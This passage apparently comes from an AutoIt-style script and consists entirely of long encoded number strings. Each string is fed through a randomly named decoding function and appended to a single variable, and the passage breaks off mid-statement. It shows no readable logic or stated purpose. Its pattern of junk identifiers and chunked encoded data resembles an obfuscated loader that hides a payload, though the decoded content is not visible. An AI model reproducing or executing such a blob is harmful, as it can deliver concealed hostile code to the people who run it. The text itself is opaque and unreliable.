("57,58,57,55,56,5,56,55,56,55,56,6,57,58,57,55,57,57,56,6,56,57,57,55,57,57,56,55,57,57,56,54,56,56,56,6,57,58,56,60,57,56,56,57,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,55,56,57,56,55,56,54,56,6,57,58,57,54,56,60,56,57,56,57,57,57,56,60,56,6,56,5,56,56,56,55,57,54,57,57,56,6,56,5,56,56,56,55,57,54,56,6,56,6,57,58,56,56,56,5,56,60,57,57,56,6,57,58,56,56,56,5,56,59,56,56,56,6,57,58,56,60,56,5,56,6,57,58,56,55,56,5,56,59,56,60,56,55,56,53,57,57,56,53,56,56,56,55,57,56,56,60,56,56,57,55,56,53,56" ) $LMASCGP &= BTBXJYMRFGAETPA ("56,56,56,57,54,56,53,56,60,57,57,56,53,56,56,56,55,57,56,56,56,56,54,56,55,56,54,57,55,56,55,56,57,56,54,56,55,57,57,56,53,56,56,56,55,57,56,56,6,56,54,56,57,56,53,56,56,56,54,56,5,56,54,57,54,56,54,56,54,57,57,56,53,56,56,56,55,57,56,57,57,56,54,57,55,56,60,56,60,57,57,56,53,56,56,56,55,57,58,57,57,56,56,57,55,56,53,56,56,56,56,57,56,56,54,56,59,57,57,56,53,56,56,56,55,57,57,56,60,56,53,56,60,56,55,56,54,56,54,56,5,56,54,56,55,57,57,56,53,56,56,56,55,57,57,56,56,56,53,56,53,56,56,57,54,56,54,56,54,56,55,56,57" ) $LMASCGP &= BTBXJYMRFGAETPA ("57,57,56,53,56,56,56,55,57,57,56,6,56,54,56,55,56,54,56,57,56,53,56,56,56,54,56,5,56,54,56,54,57,57,56,53,56,56,56,55,57,57,57,57,56,54,57,54,56,54,57,55,56,6,56,6,56,56,56,55,57,57,57,55,56,57,57,58,57,56,56,6,56,53,56,55,56,60,56,53,56,57,56,57,57,57,56,60,57,55,56,5,57,59,56,5,56,60,56,60,56,60,56,60,56,60,56,60,56,6,57,56,56,56,56,55,57,56,56,60,56,55,56,60,57,55,56,6,57,56,57,54,57,54,57,55,57,54,57,54,57,54,57,54,56,6,57,58,57,54,56,6,56,6,57,56,56,56,56,55,57,58,57,57,56,55,56,60,57,55,56,6,57" ) $LMASCGP &= BTBXJYMRFGAETPA ("56,56,56,57,54,57,55,57,54,57,54,57,54,57,54,56,6,56,5,56,56,56,55,57,54,56,60,56,6,57,56,56,56,56,55,57,55,56,6,56,55,56,60,56,54,56,56,57,59,56,59,56,57,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,6,57,58,56,56,56,60,56,60,57,57,56,6,57,58,56,56,56,60,56,59,56,56,56,6,57,58,56,60,56,60,56,6,57,58,56,55,56,6,56,59,56,60,57,57,56,53,56,56,56,55,57,55,56,6,56,53,56,53,56,54,56,57,56,53,56,57,56,54,57,57,56,54,56,54,57,57,56,53,56,56,56,55,57,55,57,57,56,54,56,55,56,54,57,55,57,57,56,54,56,56,56,55,57,55" ) $LMASCGP &= BTBXJYMRFGAETPA ("57,55,56,60,56,60,57,55,56,6,57,59,56,54,57,54,57,55,57,54,57,54,57,54,57,54,56,55,56,54,56,6,56,5,56,53,56,55,57,55,56,56,57,54,57,54,57,56,56,60,56,60,56,57,57,57,56,60,56,54,56,54,56,6,56,5,56,56,56,55,57,55,56,60,56,54,56,54,56,6,56,5,56,56,56,55,57,55,56,58,56,6,57,56,56,56,56,55,57,55,56,60,56,55,56,5,56,6,56,5,56,56,56,55,57,59,57,57,56,6,57,56,56,56,56,55,57,59,56,56,56,55,56,60,56,57,56,57,57,54,56,54,56,54,57,59,56,60,57,57,56,6,57,56,56,56,56,55,57,54,56,56,56,55,56,60,57,57,56,53,56,56,56" ) $LMASCGP &= BTBXJYMRFGAETPA ("55,57,59,56,56,56,59,56,6,56,60,56,60,56,60,56,60,56,60,56,60,56,6,56,5,56,53,56,55,57,59,56,6,57,57,56,53,56,56,56,55,57,58,56,60,56,56,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,6,56,5,56,53,56,55,57,58,56,56,56,6,56,5,56,53,56,55,57,58,56,6,57,54,57,54,57,56,56,53,56,6,56,55,57,57,56,60,56,60,57,54,56,6,56,6,56,53,56,57,57,54,57,54,57,54,57,54,57,54,57,54,56,54,57,59,56,60,56,58,56,55,56,54,56,54,57,59,56,60,56,59,56,6,57,56,56,56,56,55,57,54,56,6,56,55,56,60,56,55,56,54,56,55,56,54,56,55,56,54" ) $LMASCGP &= BTBXJYMRFGAETPA ("56,6,57,56,56,56,56,55,57,54,57,57,56,55,56,60,56,54,57,59,57,54,57,54,57,54,57,54,56,53,56,55,57,54,56,56,57,54,57,54,56,55,56,55,57,54,56,60,56,6,56,55,57,57,56,60,56,60,57,54,56,6,56,6,56,55,56,57,57,54,57,54,57,54,57,54,57,54,57,54,56,6,57,58,56,56,56,55,57,54,57,57,56,55,57,54,56,55,57,55,56,55,57,58,57,57,56,5,57,57,56,57,56,55,56,55,56,6,57,58,57,55,57,57,56,55,56,59,56,55,56,59,56,54,56,56,57,59,56,59,56,57,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,6,57,58,56,56,56,60,56,60,57,57,56,6,56,57,57" ) $LMASCGP &= BTBXJYMRFGAETPA ("57,56,60,56,59,56,56,56,6,57,58,56,60,56,6,56,55,56,57,56,55,56,54,56,55,56,53,56,6,56,5,56,56,56,55,57,54,56,6,56,57,57,58,57,57,56,6,57,55,57,58,56,57,56,58,56,6,57,58,56,56,56,5,56,58,56,6,56,6,57,58,56,53,57,56,56,60,56,6,56,60,57,54,57,58,56,53,56,59,56,53,56,60,57,54,57,58,56,53,56,57,56,59,56,6,57,58,57,56,57,55,56,6,57,58,57,57,56,58,56,58,57,58,57,57,56,57,56,6,56,57,57,57,56,53,56,60,56,58,56,54,56,54,56,6,56,55,57,56,56,58,56,53,56,56,56,60,57,57,56,6,56,57,57,57,56,59,56,60,56,58,56,54" ) $LMASCGP &= BTBXJYMRFGAETPA ("56,54,56,6,56,55,57,54,56,54,56,53,56,56,56,60,56,56,56,6,56,55,57,57,56,60,56,53,56,56,57,55,56,60,56,6,56,55,57,57,56,60,56,6,57,58,56,56,56,55,57,54,57,57,56,53,56,56,56,59,56,57,56,6,57,58,56,60,56,6,56,57,57,58,56,56,57,56,57,54,56,6,56,6,56,5,56,56,57,56,57,54,57,57,56,53,56,55,57,57,56,5,56,57,56,57,57,57,56,60,56,55,57,54,56,55,57,55,56,55,57,58,57,57,56,5,57,57,56,58,56,60,56,56,56,60,56,60,56,6,57,58,56,56,56,60,56,59,56,60,57,55,57,58,57,54,56,56,56,55,56,55,56,6,57,58,57,55,57,57,57,58,56" ) $LMASCGP &= BTBXJYMRFGAETPA ("6,56,54,56,60,56,59,56,55,56,60,56,60,56,60,56,60,57,55,56,6,56,59,57,58,56,59,57,55,56,60,56,60,56,60,56,60,56,57,56,58,57,57,56,60,56,55,56,57,56,55,56,54,56,55,56,53,57,57,56,53,56,6,56,55,56,60,56,60,57,54,57,56,57,54,57,54,57,54,57,54,56,56,56,54,56,54,56,5,56,54,57,55,56,54,56,56,57,57,56,53,56,6,56,55,56,60,56,56,57,54,57,56,57,54,57,54,57,54,57,54,56,55,56,58,56,54,56,55,56,53,56,57,56,54,57,54,57,57,56,53,56,6,56,55,56,60,56,6,57,54,57,56,57,54,57,54,57,54,57,54,56,53,56,55,56,53,56,58,56,54,56,57" ) $LMASCGP &= BTBXJYMRFGAETPA ("56,54,56,55,56,54,56,54,57,57,56,53,56,6,56,55,56,60,57,57,57,54,57,56,57,54,57,54,57,54,57,54,56,55,56,53,56,60,56,60,57,57,56,53,56,6,56,55,57,59,56,6,57,54,57,56,57,54,57,54,57,54,57,54,56,56,57,57,56,54,57,54,56,54,56,59,56,54,56,56,57,57,56,53,56,6,56,55,57,59,57,57,57,54,57,56,57,54,57,54,57,54,57,54,56,55,56,58,56,54,56,55,56,53,56,57,56,54,57,54,57,57,56,53,56,6,56,55,57,58,56,60,57,54,57,56,57,54,57,54,57,54,57,54,56,53,56,55,56,53,56,58,56,54,56,57,56,54,56,55,56,6,56,6,56,6,56,55,57,58,56,56,57" ) $LMASCGP &= BTBXJYMRFGAETPA ("54,57,56,57,54,57,54,57,54,57,54,57,57,56,53,56,6,56,55,56,57,56,60,57,54,57,57,57,54,57,54,57,54,57,54,56,55,56,57,56,54,56,5,56,53,57,59,56,54,56,55,57,57,56,53,56,6,56,55,56,57,56,56,57,54,57,57,57,54,57,54,57,54,57,54,56,54,57,54,56,54,56,54,56,55,56,58,56,54,56,55,57,57,56,53,56,6,56,55,56,57,56,6,57,54,57,57,57,54,57,54,57,54,57,54,56,53,56,57,56,54,57,54,56,53,56,55,56,53,56,58,56,54,56,54,57,57,56,53,56,6,56,55,56,57,57,57,57,54,57,57,57,54,57,54,57,54,57,54,56,54,56,57,56,54,56,55,56,6,56,6,56,6" ) $LMASCGP &= BTBXJYMRFGAETPA ("56,55,56,57,57,55,57,54,57,57,57,54,57,54,57,54,57,54,57,57,56,53,56,6,56,55,57,58,56,6,57,54,57,56,57,54,57,54,57,54,57,54,56,56,57,57,56,54,57,54,56,54,56,57,56,54,57,58,57,57,56,53,56,6,56,55,57,58,57,57,57,54,57,56,57,54,57,54,57,54,57,54,56,55,56,58,56,54,56,55,56,53,56,57,56,54,57,54,57,57,56,53,56,6,56,55,57,57,56,60,57,54,57,56,57,54,57,54,57,54,57,54,56,53,56,55,56,53,56,58,56,54,56,57,56,54,56,55,56,6,56,6,56,6,56,55,57,57,56,56,57,54,57,56,57,54,57,54,57,54,57,54,57,57,56,53,56,6,56,55,56,55,56" ) $LMASCGP &= BTBXJYMRFGAETPA ("6,57,54,56,5,57,54,57,54,57,54,57,54,56,56,57,55,56,53,56,56,56,55,56,59,56,53,56,55,57,57,56,53,56,6,56,55,56,55,57,57,57,54,56,5,57,54,57,54,57,54,57,54,56,54,56,55,56,53,56,58,56,53,56,5,56,55,56,57,57,57,56,53,56,6,56,55,56,54,56,60,57,54,56,5,57,54,57,54,57,54,57,54,56,53,56,5,56,53,56,57,56,53,56,56,56,54,56,55,57,57,56,53,56,6,56,55,56,54,56,56,57,54,56,5,57,54,57,54,57,54,57,54,56,54,57,56,56,56,56,5,56,54,57,55,56,54,56,54,57,57,56,53,56,6,56,55,56,54,56,6,57,54,56,5,57,54,57,54,57,54,57,54" ) $LMASCGP &= BTBXJYMRFGAETPA ("56,54,57,54,56,53,56,58,56,54,57,56,56,54,56,59,57,57,56,53,56,6,56,55,56,54,57,57,57,54,56,5,57,54,57,54,57,54,57,54,56,53,56,56,56,54,56,5,56,54,57,54,56,54,57,55,56,6,56,6,56,6,56,55,56,53,56,60,57,54,56,5,57,54,57,54,57,54,57,54,57,57,56,53,56,6,56,55,56,5,56,60,57,54,56,5,57,54,57,54,57,54,57,54,56,56,57,55,56,53,56,56,56,56,56,59,56,54,57,57,57,57,56,53,56,6,56,55,56,5,56,56,57,54,56,5,57,54,57,54,57,54,57,54,56,54,57,57,56,54,57,54,56,54,56,57,56,54,56,59,57,57,56,53,56,6,56,55,56,5,56,6,57" ) $LMASCGP &= BTBXJYMRFGAETPA ("54,56,5,57,54,57,54,57,54,57,54,56,53,56,56,56,54,56,55,56,55,56,54,56,54,56,5,57,57,56,53,56,6,56,55,56,5,57,57,57,54,56,5,57,54,57,54,57,54,57,54,56,53,56,58,56,53,56,56,56,53,56,55,56,54,56,59,57,57,56,53,56,6,56,55,57,59,56,60,57,54,56,5,57,54,57,54,57,54,57,54,56,54,57,57,56,56,57,56,56,54,56,55,56,54,57,56,57,57,56,53,56,6,56,55,57,59,56,56,57,54,56,5,57,54,57,54,57,54,57,54,56,54,57,54,56,53,56,58,56,53,56,5,56,60,56,60,57,57,56,53,56,6,56,55,56,58,56,60,57,54,57,56,57,54,57,54,57,54,57,54,56,56" ) $LMASCGP &= BTBXJYMRFGAETPA ("57,55,56,53,56,56,56,56,57,54,56,53,56,60,57,57,56,53,56,6,56,55,56,58,56,56,57,54,57,56,57,54,57,54,57,54,57,54,56,54,56,55,56,54,57,55,56,55,56,60,56,53,56,58,57,57,56,53,56,6,56,55,56,58,56,6,57,54,57,56,57,54,57,54,57,54,57,54,56,54,57,54,56,54,56,57,56,54,56,55,56,53,56,57,56,54,56,54,57,57,56,53,56,6,56,55,56,58,57,57,57,54,57,56,57,54,57,54,57,54,57,54,56,53,56,57,56,60,56,60,57,57,56,53,56,6,56,55,56,58,56,60,57,54,56,5,57,54,57,54,57,54,57,54,56,56,57,55,56,53,56,56,56,55,56,59,56,53,56,55,57,57,56" ) $LMASCGP &= BTBXJYMRFGAETPA ("53,56,6,56,55,56,58,56,56,57,54,56,5,57,54,57,54,57,54,57,54,56,54,56,55,56,53,56,58,56,53,56,5,56,56,56,5,57,57,56,53,56,6,56,55,56,58,56,6,57,54,56,5,57,54,57,54,57,54,57,54,56,54,57,55,56,54,56,54,56,54,57,54,56,53,56,58,57,57,56,53,56,6,56,55,56,58,57,57,57,54,56,5,57,54,57,54,57,54,57,54,56,54,57,56,56,54,56,59,56,53,56,56,56,54,56,5,57,57,56,53,56,6,56,55,56,57,56,60,57,54,56,5,57,54,57,54,57,54,57,54,56,54,57,54,56,54,57,55,56,55,56,60,56,53,56,58,57,57,56,53,56,6,56,55,56,57,56,56,57,54,56,5" ) $LMASCGP &= BTBXJYMRFGAETPA ("57,54,57,54,57,54,57,54,56,54,57,54,56,54,56,57,56,54,56,55,56,53,56,57,56,54,56,54,57,57,56,53,56,6,56,55,56,57,56,6,57,54,56,5,57,54,57,54,57,54,57,54,56,53,56,57,56,60,56,60,57,57,56,53,56,6,56,55,57,55,56,60,57,54,57,57,57,54,57,54,57,54,57,54,56,56,56,53,56,54,56,55,56,53,56,56,56,55,56,57,57,57,56,53,56,6,56,55,57,55,56,56,57,54,57,57,57,54,57,54,57,54,57,54,56,53,56,5,56,53,56,57,56,53,56,56,56,54,56,55,57,57,56,53,56,6,56,55,57,55,56,6,57,54,57,57,57,54,57,54,57,54,57,54,56,54,57,56,56,56,56,5,56" ) $LMASCGP &= BTBXJYMRFGAETPA ("54,57,55,56,54,56,54,56,54,56,54,57,57,56,53,56,6,56,55,57,55,57,57,57,54,57,57,57,54,57,54,57,54,57,54,56,54,57,54,56,60,56,60,57,57,56,53,56,56,56,55,57,58,56,6,56,54,57,56,56,54,56,58,56,53,56,57,56,53,56,56,57,57,56,53,56,56,56,55,57,58,57,57,56,54,57,54,56,53,56,53,56,54,56,57,56,53,56,57,56,6,56,6,56,56,56,55,57,57,56,60,57,57,56,53,56,56,56,55,57,56,56,56,56,53,56,57,56,53,56,56,56,53,56,58,56,54,57,57,56,54,56,54,57,57,56,53,56,56,56,55,57,56,56,6,56,54,56,55,56,54,57,55,56,6,56,6,56,56,56,55,57,56" ) $LMASCGP &= BTBXJYMRFGAETPA ("57,59,57,57,56,53,56,6,56,55,56,57,56,6,57,54,57,55,57,54,57,54,57,54,57,54,56,55,57,57,56,56,57,58,56,54,57,55,56,54,57,54,57,57,56,53,56,6,56,55,56,57,57,57,57,54,57,55,57,54,57,54,57,54,57,54,56,53,56,53,56,54,57,55,56,56,56,56,56,54,57,57,57,57,56,53,56,6,56,55,56,56,56,60,57,54,57,55,57,54,57,54,57,54,57,54,56,54,57,57,56,53,56,57,56,57,56,57,56,57,56,58,57,57,56,53,56,6,56,55,56,56,56,56,57,54,57,55,57,54,57,54,57,54,57,54,56,55,57,57,56,54,57,55,56,53,56,56,56,54,56,56,57,57,56,53,56,6,56,55,56,56,56" ) $LMASCGP &= BTBXJYMRFGAETPA ("6,57,54,57,55,57,54,57,54,57,54,57,54,56,54,57,57,56,54,57,57,56,58,57,55,56,54,56,56,56,54,56,54,57,57,56,53,56,6,56,55,56,56,57,57,57,54,57,55,57,54,57,54,57,54,57,54,56,54,57,57,56,54,57,57,56,6,56,6,56,6,56,55,56,56,57,55,57,54,57,55,57,54,57,54,57,54,57,54,57,57,56,53,56,6,56,55,56,6,57,57,57,54,57,56,57,54,57,54,57,54,57,54,56,55,57,57,56,56,57,58,56,54,57,55,56,54,57,54,57,57,56,53,56,6,56,55,56,5,56,60,57,54,57,56,57,54,57,54,57,54,57,54,56,53,56,53,56,54,57,55,56,56,56,56,56,54,57,57,57,57,56,53" ) $LMASCGP &= BTBXJYMRFGAETPA ("56,6,56,55,56,5,56,56,57,54,57,56,57,54,57,54,57,54,57,54,56,54,57,57,56,53,56,57,56,57,56,57,56,57,56,58,57,57,56,53,56,6,56,55,56,5,56,6,57,54,57,56,57,54,57,54,57,54,57,54,56,55,57,57,56,54,56,59,56,54,56,56,56,53,56,54,57,57,56,53,56,6,56,55,56,5,57,57,57,54,57,56,57,54,57,54,57,54,57,54,56,54,56,59,56,53,56,60,56,54,56,5,56,57,56,57,57,57,56,53,56,6,56,55,57,59,56,60,57,54,57,56,57,54,57,54,57,54,57,54,56,57,56,58,56,58,57,55,56,54,56,56,56,54,57,57,56,54,56,54,57,57,56,53,56,6,56,55,57,59,56,56,57" ) $LMASCGP &= BTBXJYMRFGAETPA ("54,57,56,57,54,57,54,57,54,57,54,56,54,57,57,56,60,56,60,57,57,56,53,56,6,56,55,56,56,56,60,57,54,57,56,57,54,57,54,57,54,57,54,56,55,57,57,56,56,57,58,56,54,57,55,56,54,57,54,57,57,56,53,56,6,56,55,56,56,56,56,57,54,57,56,57,54,57,54,57,54,57,54,56,53,56,53,56,54,57,55,56,56,56,56,56,54,57,57,57,57,56,53,56,6,56,55,56,56,56,6,57,54,57,56,57,54,57,54,57,54,57,54,56,54,57,57,56,53,56,57,56,57,56,57,56,57,56,58,57,57,56,53,56,6,56,55,56,56,57,57,57,54,57,56,57,54,57,54,57,54,57,54,56,55,57,57,56,54,57,58,56,54" ) $LMASCGP &= BTBXJYMRFGAETPA ("56,55,56,53,56,58,57,57,56,53,56,6,56,55,56,55,56,60,57,54,57,56,57,54,57,54,57,54,57,54,56,54,57,55,56,54,56,55,56,54,57,57,56,57,56,57,57,57,56,53,56,6,56,55,56,55,56,56,57,54,57,56,57,54,57,54,57,54,57,54,56,57,56,58,56,58,57,55,56,54,56,56,56,54,57,57,56,54,56,54,57,57,56,53,56,6,56,55,56,55,56,6,57,54,57,56,57,54,57,54,57,54,57,54,56,54,57,57,56,60,56,60,57,57,56,53,56,6,56,55,57,54,57,57,57,54,57,56,57,54,57,54,57,54,57,54,56,55,57,57,56,56,57,58,56,54,57,55,56,54,57,54,57,57,56,53,56,6,56,55,56,60,56" ) $LMASCGP &= BTBXJYMRFGAETPA ("60,57,54,57,55,57,54,57,54,57,54,57,54,56,53,56,53,56,54,57,55,56,56,56,56,56,54,57,57,57,57,56,53,56,6,56,55,56,60,56,56,57,54,57,55,57,54,57,54,57,54,57,54,56,54,57,57,56,53,56,57,56,57,56,57,56,57,56,58,57,57,56,53,56,6,56,55,56,60,56,6,57,54,57,55,57,54,57,54,57,54,57,54,56,55,57,57,56,53,56,55,56,53,56,57,56,54,56,55,57,57,56,53,56,6,56,55,56,60,57,57,57,54,57,55,57,54,57,54,57,54,57,54,56,53,56,58,56,57,56,57,56,57,56,58,56,58,57,55,57,57,56,53,56,6,56,55,56,59,56,60,57,54,57,55,57,54,57,54,57,54,57,54" ) $LMASCGP &= BTBXJYMRFGAETPA ("56,54,56,56,56,54,57,57,56,54,57,57,56,60,56,60,57,57,56,53,56,6,56,55,57,57,56,6,57,54,57,55,57,54,57,54,57,54,57,54,56,55,57,57,56,56,57,58,56,54,57,55,56,54,57,54,57,57,56,53,56,6,56,55,57,57,57,57,57,54,57,55,57,54,57,54,57,54,57,54,56,53,56,53,56,54,57,55,56,56,56,56,56,54,57,57,57,57,56,53,56,6,56,55,57,56,56,60,57,54,57,55,57,54,57,54,57,54,57,54,56,54,57,57,56,53,56,57,56,55,57,57,56,54,57,55,57,57,56,53,56,6,56,55,57,56,56,56,57,54,57,55,57,54,57,54,57,54,57,54,56,53,56,56,56,54,56,56,56,54,57,57,56" ) $LMASCGP &= BTBXJYMRFGAETPA ("54,57,57,57,57,56,53,56,6,56,55,57,56,56,6,57,54,57,55,57,54,57,54,57,54,57,54,56,58,57,55,56,54,56,56,56,54,57,57,56,54,57,57,56,6,56,6,56,6,56,55,57,56,57,57,57,54,57,55,57,54,57,54,57,54,57,54,57,57,56,53,56,6,56,55,57,56,56,6,57,54,57,56,57,54,57,54,57,54,57,54,56,55,57,57,56,56,57,58,56,54,57,55,56,54,57,54,57,57,56,53,56,6,56,55,57,56,57,57,57,54,57,56,57,54,57,54,57,54,57,54,56,53,56,53,56,54,57,55,56,56,56,56,56,54,57,57,57,57,56,53,56,6,56,55,57,55,56,60,57,54,57,56,57,54,57,54,57,54,57,54,56,54" ) $LMASCGP &= BTBXJYMRFGAETPA ("57,57,56,53,56,57,56,55,57,57,56,54,56,59,57,57,56,53,56,6,56,55,57,55,56,56,57,54,57,56,57,54,57,54,57,54,57,54,56,54,56,56,56,53,56,54,56,54,56,59,56,53,56,60,57,57,56,53,56,6,56,55,57,55,56,6,57,54,57,56,57,54,57,54,57,54,57,54,56,54,56,5,56,57,56,57,56,57,56,58,56,58,57,55,57,57,56,53,56,6,56,55,57,55,57,57,57,54,57,56,57,54,57,54,57,54,57,54,56,54,56,56,56,54,57,57,56,54,57,57,56,60,56,60,57,57,56,53,56,6,56,55,56,59,56,56,57,54,57,55,57,54,57,54,57,54,57,54,56,55,57,57,56,56,57,58,56,54,57,55,56,54,57" ) $LMASCGP &= BTBXJYMRFGAETPA ("54,57,57,56,53,56,6,56,55,56,59,56,6,57,54,57,55,57,54,57,54,57,54,57,54,56,53,56,53,56,54,57,55,56,56,56,56,56,54,57,57,57,57,56,53,56,6,56,55,56,59,57,57,57,54,57,55,57,54,57,54,57,54,57,54,56,54,57,57,56,53,56,57,56,55,57,57,56,54,57,58,57,57,56,53,56,6,56,55,56,58,56,60,57,54,57,55,57,54,57,54,57,54,57,54,56,54,56,55,56,53,56,58,56,54,57,55,56,54,56,55,57,57,56,53,56,6,56,55,56,58,56,56,57,54,57,55,57,54,57,54,57,54,57,54,56,54,57,57,56,57,56,57,56,57,56,58,56,58,57,55,57,57,56,53,56,6,56,55,56,58,56,6" ) $LMASCGP &= BTBXJYMRFGAETPA ("57,54,57,55,57,54,57,54,57,54,57,54,56,54,56,56,56,54,57,57,56,54,57,57,56,60,56,60,57,57,56,53,56,6,56,55,56,53,56,56,57,54,57,55,57,54,57,54,57,54,57,54,56,55,57,57,56,56,57,58,56,54,57,55,56,54,57,54,57,57,56,53,56,6,56,55,56,53,56,6,57,54,57,55,57,54,57,54,57,54,57,54,56,53,56,53,56,54,57,55,56,56,56,56,56,54,57,57,57,57,56,53,56,6,56,55,56,53,57,57,57,54,57,55,57,54,57,54,57,54,57,54,56,54,57,57,56,53,56,57,56,55,57,57,56,53,56,55,57,57,56,53,56,6,56,55,56,6,56,60,57,54,57,55,57,54,57,54,57,54,57,54,56" ) $LMASCGP &= BTBXJYMRFGAETPA ("53,56,57,56,54,56,55,56,53,56,58,56,57,56,57,57,57,56,53,56,6,56,55,56,6,56,56,57,54,57,55,57,54,57,54,57,54,57,54,56,57,56,58,56,58,57,55,56,54,56,56,56,54,57,57,56,54,56,54,57,57,56,53,56,6,56,55,56,6,56,6,57,54,57,55,57,54,57,54,57,54,57,54,56,54,57,57,56,60,56,60,57,57,56,53,56,6,56,55,57,55,56,60,57,54,57,55,57,54,57,54,57,54,57,54,56,55,57,57,56,56,57,58,56,54,57,55,56,54,57,54,57,57,56,53,56,6,56,55,57,55,56,56,57,54,57,55,57,54,57,54,57,54,57,54,56,53,56,53,56,54,57,55,56,56,56,56,56,54,57,57,57,57" ) $LMASCGP &= BTBXJYMRFGAETPA ("56,53,56,6,56,55,57,55,56,6,57,54,57,55,57,54,57,54,57,54,57,54,56,54,57,57,56,53,56,57,56,55,57,57,56,56,57,54,57,57,56,53,56,6,56,55,57,55,57,57,57,54,57,55,57,54,57,54,57,54,57,54,56,54,57,57,56,54,56,55,56,57,56,57,56,57,56,58,57,57,56,53,56,6,56,55,57,54,56,60,57,54,57,55,57,54,57,54,57,54,57,54,56,58,57,55,56,54,56,56,56,54,57,57,56,54,57,57,56,6,56,6,56,6,56,55,57,54,56,56,57,54,57,55,57,54,57,54,57,54,57,54,57,57,56,53,56,56,56,55,57,56,57,57,56,53,56,55,56,53,56,57,56,54,56,55,56,53,56,58,57,57,56" ) $LMASCGP &= BTBXJYMRFGAETPA ("53,56,56,56,55,57,55,56,60,56,57,56,57,56,57,56,58,56,58,57,55,56,54,56,56,56,54,56,54,57,57,56,53,56,56,56,55,57,55,56,56,56,54,57,57,56,54,57,57,56,6,56,6,56,56,56,55,57,55,56,54,57,57,56,53,56,6,56,55,57,54,56,6,57,54,57,55,57,54,57,54,57,54,57,54,56,56,57,55,56,53,56,56,56,56,57,54,56,53,56,60,57,57,56,53,56,6,56,55,57,54,57,57,57,54,57,55,57,54,57,54,57,54,57,54,56,54,56,55,56,54,57,55,56,56,57,58,56,54,56,55,56,54,56,54,57,57,56,53,56,6,56,55,56,60,56,60,57,54,57,54,57,54,57,54,57,54,57,54,56,53,56,5" ) $LMASCGP &= BTBXJYMRFGAETPA ("56,60,56,60,57,57,56,53,56,6,56,55,57,57,56,60,57,54,57,58,57,54,57,54,57,54,57,54,56,56,57,55,56,53,56,56,56,55,56,59,56,53,56,55,57,57,56,53,56,6,56,55,57,57,56,56,57,54,57,58,57,54,57,54,57,54,57,54,56,54,56,55,56,53,56,58,56,53,56,5,56,55,56,54,57,57,56,53,56,6,56,55,57,57,56,6,57,54,57,58,57,54,57,54,57,54,57,54,56,54,56,59,56,54,57,57,56,53,56,55,56,54,56,55,57,57,56,53,56,6,56,55,57,57,57,57,57,54,57,58,57,54,57,54,57,54,57,54,56,56,57,58,56,54,56,55,56,53,56,5,56,60,56,60,57,57,56,53,56,6,56,55,56" ) $LMASCGP &= BTBXJYMRFGAETPA ("56,56,60,57,54,57,57,57,54,57,54,57,54,57,54,56,56,57,55,56,53,56,56,56,56,56,55,56,54,57,55,57,57,56,53,56,6,56,55,56,56,56,56,57,54,57,57,57,54,57,54,57,54,57,54,56,53,56,55,56,54,57,56,56,54,56,55,56,53,56,58,57,57,56,53,56,6,56,55,56,56,56,6,57,54,57,57,57,54,57,54,57,54,57,54,56,54,56,59,56,53,56,56,56,54,56,55,56,56,57,58,56,54,56,54,57,57,56,53,56,6,56,55,56,56,57,57,57,54,57,57,57,54,57,54,57,54,57,54,56,54,56,55,56,53,56,5,56,6,56,6,56,6,56,55,56,56,57,55,57,54,57,57,57,54,57,54,57,54,57,54,57,57" ) $LMASCGP &= BTBXJYMRFGAETPA ("56,53,56,56,56,55,56,5,56,60,56,54,57,56,56,54,56,55,56,54,57,56,56,54,56,57,56,54,56,54,57,57,56,53,56,56,56,55,56,5,56,56,56,53,56,60,56,53,56,5,56,6,56,6,56,56,56,55,56,5,56,54,57,57,56,53,56,6,56,55,56,58,56,60,57,54,57,59,57,54,57,54,57,54,57,54,56,56,56,57,56,53,56,58,56,53,56,5,56,53,56,60,57,57,56,53,56,6,56,55,56,58,56,56,57,54,57,59,57,54,57,54,57,54,57,54,56,53,56,56,56,56,56,59,56,54,56,57,56,53,56,59,57,57,56,53,56,6,56,55,56,58,56,6,57,54,57,59,57,54,57,54,57,54,57,54,56,53,56,55,56,54,56" ) $LMASCGP &= BTBXJYMRFGAETPA ("5,56,53,56,58,56,54,56,55,57,57,56,53,56,6,56,55,56,58,57,57,57,54,57,59,57,54,57,54,57,54,57,54,56,56,56,57,56,54,57,54,56,54,57,55,56,53,56,56,57,57,56,53,56,6,56,55,56,57,56,60,57,54,57,59,57,54,57,54,57,54,57,54,56,54,56,55,56,53,56,6,56,53,56,56,56,55,56,53,56,6,56,6,56,6,56,55,56,57,56,56,57,54,57,59,57,54,57,54,57,54,57,54,57,57,56,53,56,6,56,55,56,60,56,60,57,54,57,57,57,54,57,54,57,54,57,54,56,56,56,57,56,53,56,58,56,53,56,5,56,53,56,60,57,57,56,53,56,6,56,55,56,60,56,56,57,54,57,57,57,54,57,54" ) $LMASCGP &= BTBXJYMRFGAETPA ("57,54,57,54,56,53,56,56,56,56,56,57,56,53,56,58,56,54,56,55,57,57,56,53,56,6,56,55,56,60,56,6,57,54,57,57,57,54,57,54,57,54,57,54,56,54,56,59,56,53,56,56,56,54,56,55,56,56,56,6,57,57,56,53,56,6,56,55,56,60,57,57,57,54,57,57,57,54,57,54,57,54,57,54,56,54,56,59,56,53,56,57,56,54,56,6,56,60,56,60,57,57,56,53,56,6,56,55,56,59,56,60,57,54,57,56,57,54,57,54,57,54,57,54,56,56,56,57,56,53,56,58,56,53,56,5,56,53,56,60,57,57,56,53,56,6,56,55,56,59,56,56,57,54,57,56,57,54,57,54,57,54,57,54,56,53,56,56,56,56,56,6,56" ) $LMASCGP &= BTBXJYMRFGAETPA ("54,56,59,56,53,56,57,57,57,56,53,56,6,56,55,56,59,56,6,57,54,57,56,57,54,57,54,57,54,57,54,56,54,56,6,56,56,56,56,56,54,56,59,56,53,56,56,56,54,56,54,57,57,56,53,56,6,56,55,56,59,57,57,57,54,57,56,57,54,57,54,57,54,57,54,56,54,56,59,56,60,56,60,57,57,56,53,56,6,56,55,56,54,56,60,57,54,57,57,57,54,57,54,57,54,57,54,56,56,56,57,56,53,56,58,56,53,56,5,56,53,56,60,57,57,56,53,56,6,56,55,56,54,56,56,57,54,57,57,57,54,57,54,57,54,57,54,56,53,56,56,56,56,56,56,56,54,56,55,56,53,56,58,57,57,56,53,56,6,56,55,56,54" ) $LMASCGP &= BTBXJYMRFGAETPA 